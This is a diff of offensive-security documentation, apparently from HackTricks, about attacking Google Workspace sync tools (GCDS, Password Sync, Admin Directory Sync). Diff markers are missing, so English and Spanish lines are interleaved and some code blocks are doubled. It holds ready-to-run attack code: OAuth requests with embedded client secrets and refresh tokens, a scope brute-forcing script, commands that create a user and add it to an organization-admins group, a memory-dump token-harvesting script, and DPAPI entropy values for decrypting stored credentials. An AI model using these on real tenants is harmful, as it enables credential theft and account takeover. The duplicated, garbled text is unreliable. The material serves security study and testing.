Usando el token de actualización, es posible generar tokens de acceso utilizando este y el ID de cliente y el secreto de cliente especificados en el siguiente comando:
|
||||
```bash
|
||||
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
### GCDS - Scopes
|
||||
|
||||
> [!NOTE]
|
||||
> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
|
||||
> Tenga en cuenta que incluso teniendo un token de actualización, no es posible solicitar ningún alcance para el token de acceso, ya que solo puede solicitar los **alcances admitidos por la aplicación donde está generando el token de acceso**.
|
||||
>
|
||||
> Also, the refresh token is not valid in every application.
|
||||
> Además, el token de actualización no es válido en todas las aplicaciones.
|
||||
|
||||
By default GCSD won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
|
||||
Por defecto, GCSD no tendrá acceso como el usuario a todos los posibles alcances de OAuth, por lo que utilizando el siguiente script podemos encontrar los alcances que se pueden usar con el `refresh_token` para generar un `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
|
||||
<summary>Script Bash para fuerza bruta de alcances</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo ""
|
||||
@@ -287,11 +278,9 @@ echo "Valid scopes:"
|
||||
cat /tmp/valid_scopes.txt
|
||||
rm /tmp/valid_scopes.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
And this is the output I got at the time of the writing:
|
||||
|
||||
Y este es el resultado que obtuve en el momento de la escritura:
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.group
|
||||
https://www.googleapis.com/auth/admin.directory.orgunit
|
||||
@@ -302,43 +291,36 @@ https://www.googleapis.com/auth/apps.groups.settings
|
||||
https://www.googleapis.com/auth/apps.licensing
|
||||
https://www.googleapis.com/auth/contacts
|
||||
```
|
||||
|
||||
#### Create a user and add it into the group `gcp-organization-admins` to try to escalate in GCP
|
||||
|
||||
#### Crear un usuario y agregarlo al grupo `gcp-organization-admins` para intentar escalar en GCP
|
||||
```bash
|
||||
# Create new user
|
||||
curl -X POST \
|
||||
'https://admin.googleapis.com/admin/directory/v1/users' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"primaryEmail": "deleteme@domain.com",
|
||||
"name": {
|
||||
"givenName": "Delete",
|
||||
"familyName": "Me"
|
||||
},
|
||||
"password": "P4ssw0rdStr0ng!",
|
||||
"changePasswordAtNextLogin": false
|
||||
}'
|
||||
'https://admin.googleapis.com/admin/directory/v1/users' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"primaryEmail": "deleteme@domain.com",
|
||||
"name": {
|
||||
"givenName": "Delete",
|
||||
"familyName": "Me"
|
||||
},
|
||||
"password": "P4ssw0rdStr0ng!",
|
||||
"changePasswordAtNextLogin": false
|
||||
}'
|
||||
|
||||
# Add to group
|
||||
curl -X POST \
|
||||
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"email": "deleteme@domain.com",
|
||||
"role": "OWNER"
|
||||
}'
|
||||
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"email": "deleteme@domain.com",
|
||||
"role": "OWNER"
|
||||
}'
|
||||
|
||||
# You could also change the password of a user for example
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> It's not possible to give the new user the Super Amin role because the **refresh token doesn't have enough scopes** to give the required privileges.
|
||||
> No es posible otorgar al nuevo usuario el rol de Super Admin porque el **token de actualización no tiene suficientes alcances** para otorgar los privilegios requeridos.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -2,57 +2,56 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Información Básica
|
||||
|
||||
This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.
|
||||
Este es el binario y servicio que Google ofrece para **mantener sincronizadas las contraseñas de los usuarios entre el AD** y Workspace. Cada vez que un usuario cambia su contraseña en el AD, se establece en Google.
|
||||
|
||||
It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).
|
||||
Se instala en `C:\Program Files\Google\Password Sync`, donde puedes encontrar el binario `PasswordSync.exe` para configurarlo y `password_sync_service.exe` (el servicio que seguirá ejecutándose).
|
||||
|
||||
### GPS - Configuration
|
||||
### GPS - Configuración
|
||||
|
||||
To configure this binary (and service), it's needed to **give it access to a Super Admin principal in Workspace**:
|
||||
Para configurar este binario (y servicio), es necesario **darle acceso a un principal de Super Admin en Workspace**:
|
||||
|
||||
- Login via **OAuth** with Google and then it'll **store a token in the registry (encrypted)**
|
||||
- Only available in Domain Controllers with GUI
|
||||
- Giving some **Service Account credentials from GCP** (json file) with permissions to **manage the Workspace users**
|
||||
- Very bad idea as those credentials never expired and could be misused
|
||||
- Very bad idea give a SA access over workspace as the SA could get compromised in GCP and it'll possible to pivot to Workspace
|
||||
- Google require it for domain controlled without GUI
|
||||
- These creds are also stored in the registry
|
||||
- Iniciar sesión a través de **OAuth** con Google y luego **almacenará un token en el registro (encriptado)**
|
||||
- Solo disponible en Controladores de Dominio con GUI
|
||||
- Proporcionando algunas **credenciales de Cuenta de Servicio de GCP** (archivo json) con permisos para **gestionar los usuarios de Workspace**
|
||||
- Muy mala idea, ya que esas credenciales nunca expiran y podrían ser mal utilizadas
|
||||
- Muy mala idea dar acceso a una SA sobre workspace, ya que la SA podría ser comprometida en GCP y sería posible pivotar a Workspace
|
||||
- Google lo requiere para dominios controlados sin GUI
|
||||
- Estas credenciales también se almacenan en el registro
|
||||
|
||||
Regarding AD, it's possible to indicate it to use the current **applications context, anonymous or some specific credentials**. If the credentials option is selected, the **username** is stored inside a file in the **disk** and the **password** is **encrypted** and stored in the **registry**.
|
||||
Respecto al AD, es posible indicarle que use el **contexto de aplicaciones actual, anónimo o algunas credenciales específicas**. Si se selecciona la opción de credenciales, el **nombre de usuario** se almacena dentro de un archivo en el **disco** y la **contraseña** está **encriptada** y almacenada en el **registro**.
|
||||
|
||||
### GPS - Dumping password and token from disk
|
||||
### GPS - Extracción de contraseña y token del disco
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even decrypt the password and token**.
|
||||
> Ten en cuenta que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) es capaz de detectar **GPS**, obtener información sobre la configuración y **incluso desencriptar la contraseña y el token**.
|
||||
|
||||
In the file **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** it's possible to find part of the configuration like the **`baseDN`** of the AD configured and the **`username`** whose credentials are being used.
|
||||
En el archivo **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** es posible encontrar parte de la configuración como el **`baseDN`** del AD configurado y el **`username`** cuyas credenciales se están utilizando.
|
||||
|
||||
In the registry **`HKLM\Software\Google\Google Apps Password Sync`** it's possible to find the **encrypted refresh token** and the **encrypted password** for the AD user (if any). Moreover, if instead of an token, some **SA credentials** are used, it's also possible to find those encrypted in that registry address. The **values** inside this registry are only **accessible** by **Administrators**.
|
||||
En el registro **`HKLM\Software\Google\Google Apps Password Sync`** es posible encontrar el **token de actualización encriptado** y la **contraseña encriptada** para el usuario de AD (si la hay). Además, si en lugar de un token, se utilizan algunas **credenciales de SA**, también es posible encontrar esas encriptadas en esa dirección del registro. Los **valores** dentro de este registro son solo **accesibles** por **Administradores**.
|
||||
|
||||
The encrypted **password** (if any) is inside the key **`ADPassword`** and is encrypted using **`CryptProtectData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
La **contraseña encriptada** (si la hay) está dentro de la clave **`ADPassword`** y está encriptada usando la API **`CryptProtectData`**. Para desencriptarla, necesitas ser el mismo usuario que configuró la sincronización de contraseñas y usar esta **entropía** al usar **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
|
||||
The encrypted token (if any) is inside the key **`AuthToken`** and is encrypted using **`CryptProtecData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Moreover, it's also encoded using base32hex with the dictionary **`0123456789abcdefghijklmnopqrstv`**.
|
||||
El token encriptado (si lo hay) está dentro de la clave **`AuthToken`** y está encriptado usando la API **`CryptProtectData`**. Para desencriptarlo, necesitas ser el mismo usuario que configuró la sincronización de contraseñas y usar esta **entropía** al usar **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Además, también está codificado usando base32hex con el diccionario **`0123456789abcdefghijklmnopqrstv`**.
|
||||
|
||||
The entropy values were found by using the tool . It was configured to monitor the calls to **`CryptUnprotectData`** and **`CryptProtectData`** and then the tool was used to launch and monitor `PasswordSync.exe` which will decrypt the configured password and auth token at the beginning and the tool will **show the values for the entropy used** in both cases:
|
||||
Los valores de entropía se encontraron utilizando la herramienta. Se configuró para monitorear las llamadas a **`CryptUnprotectData`** y **`CryptProtectData`** y luego se utilizó la herramienta para lanzar y monitorear `PasswordSync.exe`, que desencriptará la contraseña y el token de autenticación configurados al principio y la herramienta **mostrará los valores de la entropía utilizada** en ambos casos:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Note that it's also possible to see the **decrypted** values in the input or output of the calls to these APIs also (in case at some point Winpeas stop working).
|
||||
Ten en cuenta que también es posible ver los valores **desencriptados** en la entrada o salida de las llamadas a estas APIs también (en caso de que en algún momento Winpeas deje de funcionar).
|
||||
|
||||
In case the Password Sync was **configured with SA credentials**, it will also be stored in keys inside the registry **`HKLM\Software\Google\Google Apps Password Sync`**.
|
||||
En caso de que la sincronización de contraseñas se haya **configurado con credenciales de SA**, también se almacenará en claves dentro del registro **`HKLM\Software\Google\Google Apps Password Sync`**.
|
||||
|
||||
### GPS - Dumping tokens from memory
|
||||
### GPS - Extracción de tokens de la memoria
|
||||
|
||||
Just like with GCPW, it's possible to dump the memory of the process of the `PasswordSync.exe` and the `password_sync_service.exe` processes and you will be able to find refresh and access tokens (if they have been generated already).\
|
||||
I guess you could also find the AD configured credentials.
|
||||
Al igual que con GCPW, es posible volcar la memoria del proceso de `PasswordSync.exe` y los procesos de `password_sync_service.exe` y podrás encontrar tokens de actualización y acceso (si ya han sido generados).\
|
||||
Supongo que también podrías encontrar las credenciales configuradas del AD.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump <code>PasswordSync.exe</code> and the <code>password_sync_service.exe</code> processes and search tokens</summary>
|
||||
|
||||
<summary>Volcar <code>PasswordSync.exe</code> y los procesos de <code>password_sync_service.exe</code> y buscar tokens</summary>
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
|
||||
@@ -61,8 +60,8 @@ $dumpFolder = "C:\Users\Public\dumps"
|
||||
|
||||
# Regular expressions for tokens
|
||||
$tokenRegexes = @(
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
)
|
||||
|
||||
# Show EULA if it wasn't accepted yet for strings
|
||||
@@ -70,7 +69,7 @@ $stringsPath
|
||||
|
||||
# Create a directory for the dumps if it doesn't exist
|
||||
if (!(Test-Path $dumpFolder)) {
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
}
|
||||
|
||||
# Get all Chrome process IDs
|
||||
@@ -79,94 +78,90 @@ $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name
|
||||
|
||||
# Dump each Chrome process
|
||||
foreach ($processId in $chromeProcesses) {
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
}
|
||||
|
||||
# Extract strings and search for tokens in each dump
|
||||
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
|
||||
$uniqueMatches = @{}
|
||||
$uniqueMatches = @{}
|
||||
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
|
||||
Write-Output ""
|
||||
}
|
||||
Write-Output ""
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### GPS - Generating access tokens from refresh tokens
|
||||
|
||||
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
|
||||
### GPS - Generando tokens de acceso a partir de tokens de actualización
|
||||
|
||||
Usando el token de actualización, es posible generar tokens de acceso utilizando este y el ID de cliente y el secreto de cliente especificados en el siguiente comando:
|
||||
```bash
|
||||
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
### GPS - Scopes
|
||||
|
||||
> [!NOTE]
|
||||
> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
|
||||
> Tenga en cuenta que incluso teniendo un refresh token, no es posible solicitar ningún scope para el access token, ya que solo puede solicitar los **scopes admitidos por la aplicación donde está generando el access token**.
|
||||
>
|
||||
> Also, the refresh token is not valid in every application.
|
||||
> Además, el refresh token no es válido en todas las aplicaciones.
|
||||
|
||||
By default GPS won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
|
||||
Por defecto, GPS no tendrá acceso como el usuario a todos los posibles scopes de OAuth, por lo que utilizando el siguiente script podemos encontrar los scopes que se pueden usar con el `refresh_token` para generar un `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo ""
|
||||
@@ -175,22 +170,15 @@ echo "Valid scopes:"
|
||||
cat /tmp/valid_scopes.txt
|
||||
rm /tmp/valid_scopes.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
And this is the output I got at the time of the writing:
|
||||
|
||||
Y esta es la salida que obtuve en el momento de la escritura:
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.user
|
||||
```
|
||||
|
||||
Which is the same one you get if you don't indicate any scope.
|
||||
¿Cuál es el mismo que obtienes si no indicas ningún alcance?
|
||||
|
||||
> [!CAUTION]
|
||||
> With this scope you could **modify the password of a existing user to escalate privileges**.
|
||||
> Con este alcance podrías **modificar la contraseña de un usuario existente para escalar privilegios**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,61 +1,57 @@
|
||||
# GWS - Admin Directory Sync
|
||||
# GWS - Sincronización del Directorio de Administradores
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Información Básica
|
||||
|
||||
The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
La principal diferencia entre esta forma de sincronizar usuarios con GCDS es que GCDS se realiza manualmente con algunos binarios que necesitas descargar y ejecutar, mientras que **la Sincronización del Directorio de Administradores es sin servidor** gestionada por Google en [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
At the moment of this writing this service is in beta and it supports 2 types of synchronization: From **Active Directory** and from **Azure Entra ID:**
|
||||
En el momento de escribir esto, este servicio está en beta y admite 2 tipos de sincronización: Desde **Active Directory** y desde **Azure Entra ID:**
|
||||
|
||||
- **Active Directory:** In order to set this up you need to give **access to Google to you Active Directory environment**. And as Google only has access to GCP networks (via **VPC connectors**) you need to create a connector and then make your AD available from that connector by having it in VMs in the GCP network or using Cloud VPN or Cloud Interconnect. Then, you also need to provide **credentials** of an account with read access over the directory and **certificate** to contact via **LDAPS**.
|
||||
- **Azure Entra ID:** To configure this it's just needed to **login in Azure with a user with read access** over the Entra ID subscription in a pop-up showed by Google, and Google will keep the token with read access over Entra ID.
|
||||
- **Active Directory:** Para configurar esto, necesitas dar **acceso a Google a tu entorno de Active Directory**. Y como Google solo tiene acceso a redes de GCP (a través de **conectores VPC**), necesitas crear un conector y luego hacer que tu AD esté disponible desde ese conector al tenerlo en VMs en la red de GCP o usando Cloud VPN o Cloud Interconnect. Luego, también necesitas proporcionar **credenciales** de una cuenta con acceso de lectura sobre el directorio y un **certificado** para contactar a través de **LDAPS**.
|
||||
- **Azure Entra ID:** Para configurar esto, solo es necesario **iniciar sesión en Azure con un usuario con acceso de lectura** sobre la suscripción de Entra ID en un pop-up mostrado por Google, y Google mantendrá el token con acceso de lectura sobre Entra ID.
|
||||
|
||||
Once correctly configured, both options will allow to **synchronize users and groups to Workspace**, but it won't allow to configure users and groups from Workspace to AD or EntraID.
|
||||
Una vez configurado correctamente, ambas opciones permitirán **sincronizar usuarios y grupos a Workspace**, pero no permitirán configurar usuarios y grupos desde Workspace a AD o EntraID.
|
||||
|
||||
Other options that it will allow during this synchronization are:
|
||||
Otras opciones que permitirá durante esta sincronización son:
|
||||
|
||||
- Send an email to the new users to log-in
|
||||
- Automatically change their email address to the one used by Workspace. So if Workspace is using `@hacktricks.xyz` and EntraID users use `@carloshacktricks.onmicrosoft.com`, `@hacktricks.xyz` will be used for the users created in the account.
|
||||
- Select the **groups containing the users** that will be synced.
|
||||
- Select to **groups** to synchronize and create in Workspace (or indicate to synchronize all groups).
|
||||
- Enviar un correo electrónico a los nuevos usuarios para iniciar sesión
|
||||
- Cambiar automáticamente su dirección de correo electrónico a la utilizada por Workspace. Así que si Workspace está usando `@hacktricks.xyz` y los usuarios de EntraID usan `@carloshacktricks.onmicrosoft.com`, se utilizará `@hacktricks.xyz` para los usuarios creados en la cuenta.
|
||||
- Seleccionar los **grupos que contienen los usuarios** que serán sincronizados.
|
||||
- Seleccionar **grupos** para sincronizar y crear en Workspace (o indicar que se sincronicen todos los grupos).
|
||||
|
||||
### From AD/EntraID -> Google Workspace (& GCP)
|
||||
### De AD/EntraID -> Google Workspace (& GCP)
|
||||
|
||||
If you manage to compromise an AD or EntraID you will have total control of the users & groups that are going to be synchronized with Google Workspace.\
|
||||
However, notice that the **passwords** the users might be using in Workspace **could be the same ones or not**.
|
||||
Si logras comprometer un AD o EntraID, tendrás control total sobre los usuarios y grupos que se van a sincronizar con Google Workspace.\
|
||||
Sin embargo, ten en cuenta que las **contraseñas** que los usuarios podrían estar usando en Workspace **podrían ser las mismas o no**.
|
||||
|
||||
#### Attacking users
|
||||
#### Atacando usuarios
|
||||
|
||||
When the synchronization happens it might synchronize **all the users from AD or only the ones from a specific OU** or only the **users members of specific groups in EntraID**. This means that to attack a synchronized user (or create a new one that gets synchronized) you will need first to figure out which users are being synchronized.
|
||||
Cuando ocurre la sincronización, podría sincronizar **todos los usuarios de AD o solo los de una OU específica** o solo los **usuarios miembros de grupos específicos en EntraID**. Esto significa que para atacar a un usuario sincronizado (o crear uno nuevo que se sincronice), primero necesitarás averiguar qué usuarios están siendo sincronizados.
|
||||
|
||||
- Users might be **reusing the password or not from AD or EntraID**, but this mean that you will need to **compromise the passwords of the users to login**.
|
||||
- If you have access to the **mails** of the users, you could **change the Workspace password of an existing user**, or **create a new user**, wait until it gets synchronized an setup the account.
|
||||
- Los usuarios podrían estar **reutilizando la contraseña o no de AD o EntraID**, pero esto significa que necesitarás **comprometer las contraseñas de los usuarios para iniciar sesión**.
|
||||
- Si tienes acceso a los **correos** de los usuarios, podrías **cambiar la contraseña de Workspace de un usuario existente**, o **crear un nuevo usuario**, esperar hasta que se sincronice y configurar la cuenta.
|
||||
|
||||
Once you access the user inside Workspace it might be given some **permissions by default**.
|
||||
Una vez que accedas al usuario dentro de Workspace, podría recibir algunos **permisos por defecto**.
|
||||
|
||||
#### Attacking Groups
|
||||
#### Atacando Grupos
|
||||
|
||||
You also need to figure out first which groups are being synchronized. Although there is the possibility that **ALL** the groups are being synchronized (as Workspace allows this).
|
||||
También necesitas averiguar primero qué grupos están siendo sincronizados. Aunque existe la posibilidad de que **TODOS** los grupos estén siendo sincronizados (ya que Workspace permite esto).
|
||||
|
||||
> [!NOTE]
|
||||
